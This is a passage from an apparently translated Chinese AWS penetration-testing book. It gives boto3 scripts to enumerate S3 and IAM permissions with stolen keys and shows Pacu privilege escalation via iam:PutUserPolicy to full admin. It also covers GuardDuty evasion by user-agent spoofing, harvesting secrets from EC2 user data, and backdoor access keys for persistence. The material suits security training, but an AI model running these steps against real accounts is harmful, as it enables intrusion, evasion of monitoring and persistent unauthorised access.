与我们将所有 EC2 实例数据转储到ec2-instances.json类似,我们现在将所有文件信息转储到多个不同的文件中,文件名是存储桶的名称。我们可以添加以下代码来实现:

# We know bucket_objects has a key for each bucket so let's iterate that
for bucket in bucket_names:
    # Open up a local file with the name of the bucket
    with open('./{}.txt'.format(bucket), 'w+') as f:
        # Iterate through each object in the bucket
        for bucket_object in bucket_objects[bucket]:
            # Write a line to our file with the object details we are interested in (file name and size)
            f.write('{} ({} bytes)\n'.format(bucket_object['Key'], bucket_object['Size']))

现在我们已经添加到原始脚本的最终代码应该如下(不包括注释):

client = session.client('s3')

bucket_names = []

response = client.list_buckets()
for bucket in response['Buckets']:
    bucket_names.append(bucket['Name'])

bucket_objects = {}

for bucket in bucket_names:
    response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000)

    bucket_objects[bucket] = response['Contents']

    while response['IsTruncated']:
        response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000, ContinuationToken=response['NextContinuationToken'])

        bucket_objects[bucket].extend(response['Contents'])

for bucket in bucket_names:
    with open('./{}.txt'.format(bucket), 'w+') as f:
        for bucket_object in bucket_objects[bucket]:
            f.write('{} ({} bytes)\n'.format(bucket_object['Key'], bucket_object['Size']))

现在我们可以使用与之前相同的命令再次运行我们的脚本:

python3 our_script.py 

当它完成时,它应该再次枚举 EC2 实例并将它们存储在ec2-instances.json文件中,现在账户中每个存储桶也应该有一个文件,其中包含其中所有对象的文件名和文件大小。以下屏幕截图显示了从我们的一个test存储桶中下载的信息的片段:

现在我们知道哪些文件存在,我们可以尝试使用 AWS S3 API 命令get_object来下载听起来有趣的文件,但我会把这个任务留给你。请记住,数据传输会导致发生在 AWS 账户中的费用,因此通常不明智编写尝试下载存储桶中的每个文件的脚本。如果你这样做了,你可能会轻易地遇到一个存储了数百万兆字节数据的存储桶,并导致 AWS 账户产生大量意外费用。这就是为什么根据名称和大小选择要下载的文件是很重要的。

转储所有账户信息

AWS 使得可以通过多种方法(或 API)从账户中检索数据,其中一些方法比其他方法更容易。这对我们作为攻击者来说是有利的,因为我们可能被拒绝访问一个权限,但允许访问另一个权限,最终可以用来达到相同的目标。

一个新的脚本 - IAM 枚举

在这一部分,我们将从一个新的脚本开始,目标是枚举 IAM 服务和 AWS 账户的各种数据点。脚本将从我们已经填写的一些内容开始:

#!/usr/bin/env python3

import boto3

session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
client = session.client('iam')

我们已经声明文件为python3文件,导入了boto3库,使用us-west-2区域Test配置文件中的凭据创建了我们的boto3 session,然后使用这些凭据为 IAM 服务创建了一个boto3客户端。

我们将从get_account_authorization_detailsAPI 调用开始(boto3.amazonaws.com/v1/documentation/api/latest/reference/services/iam.html#IAM.Client.get_account_authorization_details),该调用从账户中返回大量信息,包括用户、角色、组和策略信息。这是一个分页的 API 调用,因此我们将首先创建空列表来累积我们枚举的数据,然后进行第一个 API 调用:

# Declare the variables that will store the enumerated information
user_details = []
group_details = []
role_details = []
policy_details = []

# Make our first get_account_authorization_details API call
response = client.get_account_authorization_details()

# Store this first set of data
if response.get('UserDetailList'):
    user_details.extend(response['UserDetailList'])
if response.get('GroupDetailList'):
    group_details.extend(response['GroupDetailList'])
if response.get('RoleDetailList'):
    role_details.extend(response['RoleDetailList'])
if response.get('Policies'):
    policy_details.extend(response['Policies'])

然后我们需要检查响应是否分页,以及是否需要进行另一个 API 调用来获取更多结果。就像之前一样,我们可以使用一个简单的循环来做到这一点:

# Check to see if there is more data to grab
while response['IsTruncated']:
    # Make the request for the next page of details
    response = client.get_account_authorization_details(Marker=response['Marker'])

    # Store the data again
    if response.get('UserDetailList'):
        user_details.extend(response['UserDetailList'])
    if response.get('GroupDetailList'):
        group_details.extend(response['GroupDetailList'])
    if response.get('RoleDetailList'):
        role_details.extend(response['RoleDetailList'])
    if response.get('Policies'):
        policy_details.extend(response['Policies'])

您可能已经注意到 AWS API 调用参数和响应的名称和结构存在不一致性(例如ContinuationTokenNextTokenMarker)。这是无法避免的,boto3库在其命名方案上存在不一致性,因此重要的是阅读您正在运行的命令的文档。

保存数据(再次)

现在,就像以前一样,我们希望将这些数据保存在某个地方。我们将使用以下代码将其存储在四个单独的文件users.jsongroups.jsonroles.jsonpolicies.json中:

# Import the json library
import json

# Open up each file and dump the respective JSON into them
with open('./users.json', 'w+') as f:
    json.dump(user_details, f, indent=4, default=str)
with open('./groups.json', 'w+') as f:
    json.dump(group_details, f, indent=4, default=str)
with open('./roles.json', 'w+') as f:
    json.dump(role_details, f, indent=4, default=str)
with open('./policies.json', 'w+') as f:
    json.dump(policy_details, f, indent=4, default=str)

这将使最终脚本(不包括注释)看起来像下面这样:

#!/usr/bin/env python3

import boto3
import json

session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
client = session.client('iam')

user_details = []
group_details = []
role_details = []
policy_details = []

response = client.get_account_authorization_details()

if response.get('UserDetailList'):
    user_details.extend(response['UserDetailList'])
if response.get('GroupDetailList'):
    group_details.extend(response['GroupDetailList'])
if response.get('RoleDetailList'):
    role_details.extend(response['RoleDetailList'])
if response.get('Policies'):
    policy_details.extend(response['Policies'])

while response['IsTruncated']:
    response = client.get_account_authorization_details(Marker=response['Marker'])
    if response.get('UserDetailList'):
        user_details.extend(response['UserDetailList'])
    if response.get('GroupDetailList'):
        group_details.extend(response['GroupDetailList'])
    if response.get('RoleDetailList'):
        role_details.extend(response['RoleDetailList'])
    if response.get('Policies'):
        policy_details.extend(response['Policies'])

with open('./users.json', 'w+') as f:
    json.dump(user_details, f, indent=4, default=str)
with open('./groups.json', 'w+') as f:
    json.dump(group_details, f, indent=4, default=str)
with open('./roles.json', 'w+') as f:
    json.dump(role_details, f, indent=4, default=str)
with open('./policies.json', 'w+') as f:
    json.dump(policy_details, f, indent=4, default=str)

现在我们可以使用以下命令运行脚本:

python3 get_account_details.py 

当前文件夹应该有四个新文件,其中包含帐户中用户、组、角色和策略的详细信息。

使用受损的 AWS 密钥进行权限枚举

我们现在可以扩展上一节的脚本,使用收集的数据来确定您当前用户具有的确切权限,通过相关不同文件中存储的数据。为此,我们首先需要在我们拉下来的用户列表中找到我们当前的用户。

确定我们的访问级别

在攻击场景中,您可能不知道当前用户的用户名,因此我们将添加使用iam:GetUser API 来确定该信息的代码行(请注意,如果您的凭据属于角色,则此调用将失败):

   username = client.get_user()['User']['UserName'] 

然后,我们将遍历我们收集的用户数据,并寻找我们当前的用户:

# Define a variable that will hold our user
current_user = None

# Iterate through the enumerated users
for user in user_details:
    # See if this user is our user
    if user['UserName'] == username:
        # Set the current_user variable to our user
        current_user = user

        # We found the user, so we don't need to iterate through the rest of them
        break

现在我们可以检查一些可能附加到我们用户对象的不同信息。如果某个信息不存在,那么意味着我们不需要担心它的值。

为了得出我们用户的完整权限列表,我们需要检查以下数据:UserPolicyListGroupListAttachedManagedPoliciesUserPolicyList将包含附加到我们用户的所有内联策略,AttachedManagedPolicies将包括附加到我们用户的所有托管策略,GroupList将包含我们用户所属的组的列表。对于每个策略,我们需要提取与之关联的文档,对于组,我们需要检查附加到它的内联策略和托管策略,然后提取与之关联的文档,最终得出一个明确的权限列表。

分析附加到我们用户的策略

我们将首先收集附加到我们用户的内联策略文档。幸运的是,任何内联策略的整个文档都包含在我们的用户中。我们将向我们的脚本添加以下代码:

# Create an empty list that will hold all the policies related to our user
my_policies = []

# Check if any inline policies are attached to my user
if current_user.get('UserPolicyList'):
    # Iterate through the inline policies to pull their documents
    for policy in current_user['UserPolicyList']:
        # Add the policy to our list
        my_policies.append(policy['PolicyDocument'])

现在my_policies应该包括直接附加到我们用户的所有内联策略。接下来,我们将收集附加到我们用户的托管策略文档。策略文档并未直接附加到我们的用户,因此我们必须使用标识信息在我们的policy_details变量中找到策略文档:

# Check if any managed policies are attached to my user
if current_user.get('AttachedManagedPolicies'):
    # Iterate through the list of managed policies
    for managed_policy in user['AttachedManagedPolicies']:
        # Note the policy ARN so we can find it in our other variable
        policy_arn = managed_policy['PolicyArn']

        # Iterate through the policies stored in policy_details to find this policy
        for policy_detail in policy_details:
            # Check if we found the policy yet
            if policy_detail['Arn'] == policy_arn:
                # Determine the default policy version, so we know which version to grab
                default_version = policy_detail['DefaultVersionId']

                # Iterate the available policy versions to find the one we want
                for version in policy_detail['PolicyVersionList']:
                    # Check if we found the default version yet
                    if version['VersionId'] == default_version:
                        # Add this policy document to our original variable
                        my_policies.append(version['Document'])

                        # We found the document, so exit this loop
                        break
                # We found the policy, so exit this loop
                break

现在my_policies应该包括直接附加到我们用户的所有内联策略和托管策略。接下来,我们将找出我们所属的组,然后枚举附加到每个组的内联策略和托管策略。完成后,我们将得到分配给我们用户的完整权限列表:

# Check if we are in any groups
if current_user.get('GroupList'):
    # Iterate through the list of groups
    for user_group in current_user['GroupList']:
        # Iterate through all groups to find this one
        for group in group_details:
            # Check if we found this group yet
            if group['GroupName'] == user_group:
                # Check for any inline policies on this group
                if group.get('GroupPolicyList'):
                    # Iterate through each inline policy
                    for inline_policy in group['GroupPolicyList']:
                        # Add the policy document to our original variable
                        my_policies.append(inline_policy['PolicyDocument'])

                # Check for any managed policies on this group
                if group.get('AttachedManagedPolicies'):
                    # Iterate through each managed policy detail
                    for managed_policy in group['AttachedManagedPolicies']:
                        # Grab the policy ARN
                        policy_arn = managed_policy['PolicyArn']

                        # Find the policy in our list of policies
                        for policy in policy_details:
                            # Check and see if we found it yet
                            if policy['Arn'] == policy_arn:
                                # Get the default version
                                default_version = policy['DefaultVersionId']

                                # Find the document for the default version
                                for version in policy['PolicyVersionList']:
                                    # Check and see if we found it yet
                                    if version['VersionId'] == default_version:
                                        # Add the document to our original variable
                                        my_policies.append(version['Document'])

                                        # Found the version, so break out of this loop
                                        break
                                    # Found the policy, so break out of this loop
                                    break

现在脚本应该完成了,我们的my_policies变量应该包含直接附加到我们用户的所有内联和托管策略的策略文档,以及附加到我们用户所属的每个组的所有内联和托管策略。我们可以通过添加一个最终片段来检查这些结果,将数据输出到本地文件:

with open('./my-user-permissions.json', 'w+') as f:
 json.dump(my_policies, f, indent=4, default=str)

我们可以使用相同的命令运行文件:

 python3 get_account_details.py

然后,我们可以检查生成的my-user-permissions.json,其中应包含适用于您的用户的所有策略和权限的列表。它应该看起来像以下的屏幕截图:

现在我们有一个很好的权限列表,我们可以使用这些权限,以及我们可以在什么条件下应用这些权限。

另一种方法

需要注意的重要一点是,如果用户没有iam:GetAccountAuthorization权限,此脚本将失败,因为他们将无法收集用户、组、角色和策略列表。为了可能解决这个问题,我们可以参考本节开头的部分,其中指出有时通过 AWS API 有多种方法来做某事,这些不同的方法需要不同的权限集。

在我们的用户没有iam:GetAccountAuthorizationDetails权限的情况下,但他们拥有其他 IAM 读取权限,可能仍然有可能枚举我们的权限列表。我们不会运行并创建执行此操作的脚本,但如果您愿意尝试,这里是一个一般指南:

  1. 检查我们是否有iam:GetAccountAuthorizationDetails权限

  2. 如果是这样,请运行我们刚创建的脚本

  3. 如果不是,请转到步骤 2

  4. 使用iam:GetUser API 确定我们是什么用户(请注意,这对于角色不起作用!)

  5. 使用iam:ListUserPolicies API 获取附加到我们的用户的内联策略列表

  6. 使用iam:GetUserPolicy API 获取每个内联策略的文档

  7. 使用iam:ListAttachedUserPolicies API 获取附加到我们的用户的托管策略列表

  8. 使用iam:GetPolicy API 确定附加到我们的用户的每个托管策略的默认版本

  9. 使用iam:GetPolicyVersion API 获取附加到我们的用户的每个托管策略的策略文档

  10. 使用iam:ListGroupsForUser API 查找我们的用户属于哪些组

  11. 使用iam:ListGroupPolicies API 列出附加到每个组的内联策略

  12. 使用iam:GetGroupPolicy API 获取附加到每个组的每个内联策略的文档

  13. 使用iam:ListAttahedGroupPolicies API 列出附加到每个组的托管策略

  14. 使用iam:GetPolicy API 确定附加到每个组的每个托管策略的默认版本

  15. 使用iam:GetPolicyVersion API 获取附加到每个组的每个托管策略的策略文档

正如您可能已经注意到的,这种权限枚举方法需要对 AWS 进行更多的 API 调用,而且可能会对倾听的防御者产生更大的影响,比我们的第一种方法。但是,如果您没有iam:GetAccountAuthorizationDetails权限,但您有权限遵循列出的所有步骤,那么这可能是正确的选择。

使用 Pacu 进行特权升级和收集凭据

在尝试检测和利用我们目标用户的特权升级之前,我们将添加另一个策略,使用户容易受到特权升级的影响。在继续之前,向我们的原始Test用户添加一个名为PutUserPolicy的内联策略,并使用以下文档:

{ 
    "Version": "2012-10-17", 
    "Statement": [ 
        { 
            "Effect": "Allow", 
            "Action": "iam:PutUserPolicy", 
            "Resource": "*" 
        } 
    ] 
} 

此策略允许我们的用户在任何用户上运行iam:PutUserPolicy API 操作。

Pacu - 一个开源的 AWS 利用工具包

Pacu是由 Rhino Security Labs 编写的开源 AWS 利用工具包。它旨在帮助渗透测试人员攻击 AWS 环境;因此,现在我们将快速安装和设置 Pacu,以自动化我们一直在尝试的这些攻击。

有关安装和配置的更详细说明可以在第十九章中找到,将所有内容整合在一起-真实世界的 AWS 渗透测试;这些步骤旨在让您尽快设置并使用 Pacu。

Pacu 可以通过 GitHub 获得,因此我们需要运行一些命令来安装所有内容(我们正在运行 Kali Linux)。首先,让我们确认是否已安装git

 apt-get install git 

然后,我们将从 GitHub 克隆 Pacu 存储库(github.com/RhinoSecurityLabs/pacu):

 git clone https://github.com/RhinoSecurityLabs/pacu.git

然后,我们将切换到 Pacu 目录并运行安装脚本,这将确保我们安装了正确的 Python 版本(Python 3.5 或更高版本),并使用pip3安装必要的依赖项:

 cd pacu && bash install.sh 

现在 Pacu 应该已经成功安装,我们可以使用以下命令启动它:

 python3 pacu.py

将会出现一些消息,让您知道已生成新的设置文件并创建了新的数据库。它将检测到我们尚未设置session,因此会要求我们命名一个新的会话以创建。Pacu 会话基本上是一个项目,您可以在同一安装中拥有多个独立的 Pacu 会话。会话数据存储在本地 SQLite 数据库中,每个单独的会话可以被视为一个项目或目标公司。当您在多个环境上工作时,它允许您保持数据和凭证的分离。每个 Pacu 会话之间的日志和配置也是分开的;我们将命名我们的会话为Demo

一旦我们成功创建了新会话,将会呈现一些有关 Pacu 的有用信息,我们稍后将更深入地了解这些信息。

Kali Linux 检测绕过

因为我们正在 Kali Linux 上运行 Pacu,所以在帮助输出之后,我们会看到有关我们用户代理的额外消息,类似于以下截图中显示的内容:

我们可以看到 Pacu 已经检测到我们正在运行 Kali Linux,并相应地修改了我们的用户代理。 GuardDuty是 AWS 提供的众多安全服务之一,用于检测和警报 AWS 环境中发生的可疑行为。 GuardDuty检查的一项内容是您是否正在从 Kali Linux 发起 AWS API 调用(docs.aws.amazon.com/guardduty/latest/ug/guardduty_pentest.html#pentest1)。我们希望在攻击某个账户时尽量触发尽可能少的警报,因此 Pacu 已经内置了自动绕过这项安全措施。 GuardDuty检查发起 API 调用的用户代理,以查看是否能从中识别 Kali Linux,并在识别到时发出警报。Pacu 将我们的用户代理修改为一个通用用户代理,不会引起GuardDuty的怀疑。

Pacu CLI

紧接着这个输出,我们可以看到一个名为 Pacu CLI 的东西:

这显示了我们正在 Pacu CLI 中,我们的活动会话名为 Demo,我们没有活动密钥。我们可以通过几种不同的方式向 Pacu 数据库添加一些 AWS 密钥,例如使用set_keys命令,或者从 AWS CLI 导入它们。

我们已经设置了 AWS 密钥以便与 AWS CLI 一起使用,因此最简单的方法是从 AWS CLI 导入它们。我们可以通过运行以下 Pacu 命令导入我们的Test AWS CLI 配置文件:

 import_keys Test 

此命令应返回以下输出:

Imported keys as "imported-Test"

现在,如果我们运行whoami命令,我们应该能够看到我们的访问密钥 ID 和秘密访问密钥已被导入,如果我们查看 Pacu CLI,我们现在可以看到,而不是No Keys Set,它显示了我们导入的密钥的名称。Pacu CLI 的位置指示了当前凭证集的位置:

现在我们已经设置好了 Pacu,我们可以通过从 Pacu CLI 运行ls命令来检索当前模块的列表。为了自动化本章前面我们已经完成的一个过程,我们将使用iam__enum_permissions模块。该模块将执行必要的 API 调用和数据解析,以收集我们的活动凭证集的确认权限列表。该模块也可以针对账户中的其他用户或角色运行,因此为了更好地了解其功能,运行以下命令:

 help iam__enum_permissions 

现在你应该能够看到该模块的描述以及它支持的参数。为了针对我们自己的用户运行该模块,我们不需要传入任何参数,所以我们可以直接运行以下命令来执行该模块:

 run iam__enum_permissions 

如果当前的凭证集有权限枚举他们的权限(这是应该的,因为我们在本章前面设置了),输出应该表明模块成功地收集了该用户或角色的权限:

现在我们已经枚举了我们用户的权限,我们可以通过再次运行whoami命令来查看枚举的数据。这次,大部分数据将被填充。

Groups 字段将包含我们的用户所属的任何组的信息,Policies 字段将包含任何附加到我们的用户的 IAM 策略的信息。识别信息,如UserNameArnAccountIdUserId字段也应该填写。

在输出的底部,我们可以看到PermissionsConfirmed字段,其中包含 true 或 false,并指示我们是否能够成功枚举我们拥有的权限。如果我们被拒绝访问某些 API 并且无法收集完整的权限列表,该值将为 false。

Permissions字段将包含我们的用户被赋予的每个 IAM 权限,这些权限可以应用到的资源以及使用它们所需的条件。就像我们在本章前面编写的脚本一样,这个列表包含了附加到我们的用户的任何内联或托管策略授予的权限,以及附加到我们的用户所属的任何组的任何内联或托管策略授予的权限。

从枚举到特权升级

我们的权限已经被枚举,所以现在我们将尝试使用这些权限进行环境中的特权升级。还有一个 Pacu 模块叫做iam_privesc_scan。该模块将运行并检查你枚举的权限集,以查看你的用户是否容易受到 AWS 中 21 种不同已知的特权升级方法中的任何一种的影响。

Rhino Security Labs 撰写了一篇文章,详细介绍了这 21 种不同的特权升级方法以及如何手动利用它们,你可以在这里参考:rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

在模块检查我们是否容易受到这些方法中的任何一种的影响之后,它将尝试利用它们来为我们进行特权升级,这让我们的工作变得容易。如果你对特权升级模块想了解更多,你可以使用help命令来查看:

help iam__privesc_scan

正如你所看到的,这个模块也可以针对账户中的其他用户和角色运行,以确定它们是否也容易受到特权升级的影响,但目前我们只会针对我们自己的用户。

我们已经枚举了我们的权限,所以我们可以继续运行特权升级模块而不带任何参数:

run iam__privesc_scan

该模块将执行,搜索您的权限,看看您是否容易受到它检查的任何升级方法的攻击,然后它将尝试利用它们。对于我们的Test用户,它应该会检测到我们容易受到PutUserPolicy特权升级方法的攻击。然后它将尝试滥用该权限,以在我们的用户上放置(实质上附加)一个新的内联策略。我们控制着我们附加到用户的策略,因此我们可以指定一个管理员级别的 IAM 策略并将其附加到我们的用户,然后我们将获得管理员访问权限。该模块将通过向我们的用户添加以下策略文档来自动执行此操作:

{ 
    "Version": "2012-10-17", 
    "Statement": [ 
        { 
            "Effect": "Allow", 
            "Action": "*", 
            "Resource": "*" 
        } 
    ] 
} 

以下截图显示的输出应该与您运行特权升级模块时看到的类似:

在前面的截图中,我们可以看到一行成功添加了名为 jea70c72mk 的内联策略!您不应该具有管理员权限。这听起来不错,但让我们确认一下以确保。

我们可以通过几种不同的方式来确认这一点;其中一种是再次运行iam__enum_permissions模块,然后查看权限字段。它应该包括一个新的权限,即星号(*),这是一个通配符,表示所有权限。这意味着我们对环境拥有管理员访问权限!

如果我们在 AWS Web 控制台中查看我们的用户,我们会看到我们的用户附加了一个名为jea70c72mk的新策略,当我们点击它旁边的箭头以展开文档时,我们可以看到其中放置了管理员策略:

使用我们的新管理员特权

Pacu 允许我们直接从 Pacu CLI 使用 AWS CLI,用于您可能只想运行单个命令而不是完整模块的情况。让我们利用这个功能和我们的新管理员权限来运行一个 AWS CLI 命令,以请求我们以前没有的数据。这可以通过像平常一样运行 AWS CLI 命令来完成,这样我们就可以尝试运行一个命令来枚举账户中的其他资源。我们目前在我们自己的个人账户中,所以这个命令可能对您来说不会返回任何有效数据,但是在攻击其他账户时检查这个 API 调用将是很重要的。

我们可以通过从 Pacu CLI 运行以下命令来检查账户是否在us-east-1地区启用了GuardDuty

   aws guardduty list-detectors --profile Test --region us-west-2 

在我们的Test账户中,我们确实运行了GuardDuty,所以我们得到了下面截图中显示的输出。但是,如果您没有运行GuardDuty,那么DetectorIds字段将为空:

该命令从 AWS 返回了一个DetectorId。对于这个 API 调用,任何数据的存在都意味着GuardDuty先前已经在该地区启用,因此可以安全地假定它仍然在没有进行更多 API 调用的情况下启用。如果在目标地区禁用了GuardDutyDetectorIds将只是一个空列表。作为攻击者,最好是GuardDuty被禁用,因为这样我们就知道它不会警报我们正在执行的任何恶意活动。

然而,即使启用了GuardDuty,这并不意味着我们的努力是徒劳的。在这样的攻击场景中,有许多因素会起作用,比如是否有人在关注被触发的GuardDuty警报,如果他们注意到了警报,对警报做出反应的响应时间,以及做出反应的人是否对 AWS 有深入的了解,能够完全追踪你的行动。

我们可以通过运行detection__enum_services Pacu 模块来检查GuardDuty和其他日志记录和监控服务。该模块将检查 CloudTrail 配置、CloudWatch 警报、活动的 Shield 分布式拒绝服务(DDoS)保护计划、GuardDuty配置、Config 配置和资源,以及虚拟私有云(VPC)流日志。这些服务都有不同的目的,但作为攻击者,了解谁在监视您和跟踪您非常重要。

Pacu 在枚举类别中有许多模块,可用于枚举目标 AWS 帐户中的各种资源。一些有趣的模块包括aws__enum_account模块,用于枚举当前 AWS 帐户的信息;aws__enum_spend模块,用于收集正在花费资金的 AWS 服务列表(因此您可以确定使用哪些服务,而无需直接查询该服务的 API);或ec2__download_userdata模块,用于下载和解码附加到帐户中每个 EC2 实例的 EC2 用户数据。

EC2 用户数据本质上只是一些文本,您可以将其添加到 EC2 实例中,一旦实例上线,该数据就会对其可用。这可以用于设置实例的初始配置,或者为其提供可能需要稍后查询的设置或值。还可以通过 EC2 用户数据执行代码。

通常,用户或软件会将硬编码的机密信息(例如 API 密钥、密码和环境变量)放入 EC2 用户数据中。这是不良做法,并且亚马逊在其文档中不鼓励这样做,但这仍然是一个问题。作为攻击者,这对我们有利。任何用户都可以通过ec2:DescribeInstanceAttribute权限读取 EC2 用户数据,因此任何硬编码的机密信息也会对他们可用。作为攻击者,检查这些数据是否有用非常重要。

ec2__download_userdata Pacu 模块将自动遍历并下载帐户中枚举的所有实例和启动模板的用户数据,使我们能够轻松地筛选结果。

您可以运行以下命令来启动该模块:

 run ec2__download_userdata 

现在 Pacu 将检查其已知的每个 EC2 实例是否有用户数据,如果有,它将下载到主 Pacu 目录中的./sessions/[session name]/downloads/ec2_user_data/文件夹中。

如果您尚未使用ec2__enum模块在目标帐户中枚举 EC2 实例和启动模板,则在执行模块之前将提示您运行它。您可能会收到一条消息,确认是否要针对每个 AWS 区域运行该模块,这样做现在是可以的,因此我们将回答y

在枚举了 EC2 实例之后,它可能会询问您是否对 EC2 启动模板进行相同的操作,因为启动模板也包含用户数据。我们也可以允许它进行枚举。

在枚举了实例和启动模板之后,执行将切换回我们原始的ec2__download_userdata模块,以下载和解码我们找到的任何实例或启动模板相关联的用户数据。

该模块在我们的帐户中找到了三个 EC2 实例和一个 EC2 启动模板,这些实例和模板都与用户数据相关联。以下截图显示了模块的输出,包括其执行结果以及存储数据的位置:

ec2__download_userdata模块在帐户中找到了附加到四个 EC2 实例中的用户数据,并在帐户中找到了一个启动模板中的一个。然后将这些数据保存到 Pacu 目录的./sessions/Demo/downloads/ec2_user_data/文件夹中。

如果我们导航到这些文件下载到的文件夹并在文本编辑器中打开它们,我们可以看到明文数据。以下截图显示了ap-northeast-2地区中具有i-0d4ac408c4454dd9bID 实例的用户数据如下:

这只是一个示例,用来演示这个概念,所以基本上当 EC2 实例启动时,它将运行这个命令:

 echo "test" > /test.txt 

然后它将继续引导过程。大多数情况下,传递到 EC2 用户数据中的脚本只有在实例首次创建时才会执行,但是通过在前面的用户数据中使用#cloud-boothook指令,实例被指示在每次引导时运行此代码。这是一种很好的方法,可以通过在用户数据中放置一个反向 shell 来获得对 EC2 实例的持久访问权限,以便在每次实例重新启动时执行,但这将在后续章节中进一步讨论。

总结

在本章中,我们已经介绍了如何利用 Python 的boto3库来进行 AWS 渗透测试。它使我们能够快速简单地自动化我们攻击过程的部分,我们特别介绍了如何为自己和环境中的其他人枚举 IAM 权限的方法(以两种不同的方式),以及如何应用这些知识来提升我们的特权,希望成为账户的完整管理员。

我们还看到了 Pacu 已经为我们自动化了很多这个过程。尽管 Pacu 很好,但它不能涵盖你所想到的每一个想法、攻击方法或漏洞,因此学会如何在 Pacu 之外正确地与 AWS API 进行交互是很重要的。然后,凭借这些知识,你甚至可以开始为其他人编写自己的 Pacu 模块。

在下一章中,我们将继续使用boto3和 Pacu 来为我们的目标环境建立持久访问。这使我们能够在最坏的情况下幸存,并确保我们可以保持对环境的访问权限。这使我们能够帮助培训防御者进行事件响应,以便他们可以了解他们的环境中哪些区域是盲点,以及他们如何修复它们。在 AWS 中建立持久性的潜在方法有很多种,其中一些已经被 Pacu 自动化,我们将研究如何使用 IAM 和 Lambda 来部署这些方法。

第十一章:使用 Boto3 和 Pacu 维持 AWS 持久性

在 AWS 环境中建立持久性允许您保持特权访问,即使在您的主动攻击被检测到并且您对环境的主要访问方式被关闭的情况下。并不总是可能完全保持低调,所以在我们被抓到的情况下,我们需要一个备用计划(或两个,或三个,或……)。理想情况下,这个备用计划是隐蔽的,以便在需要再次访问环境时建立和执行。

有许多与恶意软件、逃避和持久性相关的技术和方法论可以应用到本章,但我们将专注于在 AWS 中可以滥用的不同方法,而不一定是整个红队风格的渗透测试的方法论。在 AWS 中的持久性技术与传统的持久性类型有很大不同,比如在 Windows 服务器上,但这些技术(正如我们已经知道的)也可以应用于我们攻击的 AWS 环境中的任何服务器。

在本章中,我们将专注于实际 AWS 环境中的持久性,而不是环境中的服务器。这些类型的持久性包括后门用户凭据、后门角色信任关系、后门 EC2 安全组、后门 Lambda 函数等等。

在本章中,我们将涵盖以下主题:

  • 后门用户凭据

  • 后门角色信任关系

  • 后门 EC2 安全组

  • 使用 Lambda 函数作为持久性看门狗

后门用户

在我们开始之前,让我们定义一下后门到底是什么。在本章的背景下,它的意思几乎与字面上的意思相同,即我们正在打开一个后门进入环境,以便在前门关闭时,我们仍然可以进入。在 AWS 中,后门可以是本章中涵盖的任何一种东西,前门将是我们对环境的主要访问方式(即被攻破的 IAM 用户凭据)。我们希望我们的后门能够在我们的妥协被防御者检测到并关闭被攻破的用户的情况下持续存在,因为在这种情况下,我们仍然可以通过后门进入。

正如我们在之前的章节中反复演示和使用的那样,IAM 用户可以设置访问密钥 ID 和秘密访问密钥,允许他们访问 AWS API。最佳实践通常是使用替代的身份验证方法,比如单点登录(SSO),它授予对环境的临时联合访问,但并非总是遵循最佳实践。我们将继续使用与之前章节中相似的场景,我们在那里拥有一个 IAM 用户Test的凭据。我们还将继续使用我们的用户通过特权升级获得对环境的管理员级别访问的想法,这是我们在第十章中利用的特权升级 AWS 账户使用被盗的密钥、Boto3 和 Pacu。

多个 IAM 用户访问密钥

账户中的每个 IAM 用户有两对访问密钥的限制。我们的测试用户已经创建了一个,所以在我们达到限制之前还可以创建一个。考虑到我们一直在使用的密钥是别人的,我们碰巧获得了对它们的访问,我们可以使用的一种简单的持久性形式就是为我们的用户创建第二组密钥。这样做,我们将拥有同一个用户的两组密钥:一组是我们被攻破的,另一组是我们自己创建的。

然而,这有点太简单了,因为如果我们被检测到,防御方的人员只需移除我们的用户,就可以一举删除我们对环境的两种访问方法。相反,我们可以选择针对环境中的不同特权用户创建我们的后门密钥。

首先,我们想要查看账户中存在哪些用户,所以我们将运行以下 AWS CLI 命令:

aws iam list-users --profile Test

该命令将返回账户中每个 IAM 用户的一些标识信息。这些用户中的每一个都是我们后门密钥的潜在目标,但我们需要考虑已经有两组访问密钥的用户。如果一个用户已经有两组密钥,而有人尝试创建第三组,API 将抛出一个错误,这可能会对倾听的捍卫者产生很大的噪音,最终使我们被抓住。

我想针对用户Mike进行操作,他是我们 AWS CLI 命令返回的用户之一。在尝试给Mike添加访问密钥之前,我将通过以下命令检查他是否已经有两组访问密钥:

aws iam list-access-keys --user-name Mike --profile Test 

以下截图显示了该命令的输出,以及Mike已经有两组访问密钥:

图 1:列出 Mike 的访问密钥显示他已经有两组

这意味着我们不应该针对Mike进行操作。这是因为尝试创建另一组密钥将失败,导致 AWS API 出现错误。一个自以为是的捍卫者可能能够将该错误与您的恶意活动相关联,最终使您被抓住。

之前出现过另一个用户名为Sarah的用户,所以让我们来检查她设置了多少个访问密钥:

aws iam list-access-keys --user-name Sarah --profile Test

这一次,结果显示为空数组,这表明Sarah没有设置访问密钥:

图 2:当我们尝试列出 Sarah 的时候,没有访问密钥显示出来

现在我们知道我们可以针对Sarah进行持久化,所以让我们运行以下命令来创建一对新的密钥:

aws iam create-access-key --user-name Sarah --profile Test

响应应该类似于以下截图:

图 3:属于 Sarah 的访问密钥 ID 和秘密访问密钥

现在我们可以使用返回的密钥来访问与Sarah相关的任何权限。请记住,这种方法可以用于特权升级,以及在您的初始访问用户权限较低的情况下进行持久化,但iam:CreateAccessKey是其中之一。

让我们将Sarah的凭据存储在本地,以便我们在此期间不需要担心它们。为此,我们可以运行以下命令:

aws configure --profile Sarah

然后我们可以填写我们被提示的值。同样,我们可以使用set_keys命令将这些密钥添加到 Pacu 中。

使用 Pacu 进行操作

Pacu 还有一个模块可以为我们自动完成整个过程。这个模块称为iam__backdoor_users_keys模块,自动完成了我们刚刚进行的过程。要尝试它,请在 Pacu 中运行以下命令:

run iam__backdoor_users_keys 

默认情况下,我们将得到一个用户列表供选择,但也可以在原始命令中提供用户名。

现在当我们的原始访问环境被发现时,我们有了一个(希望是高特权的)用户的备份凭据。如果我们愿意,我们可以使用之前章节的技术来枚举该用户的权限。

后门角色信任关系

IAM 角色是 AWS 的一个重要组成部分。简单来说,角色可以被认为是为某人/某物在一段时间内(默认为 1 小时)提供特定权限的。这个某人或某物可以是一个人,一个应用程序,一个 AWS 服务,另一个 AWS 账户,或者任何以编程方式访问 AWS 的东西。

IAM 角色信任策略

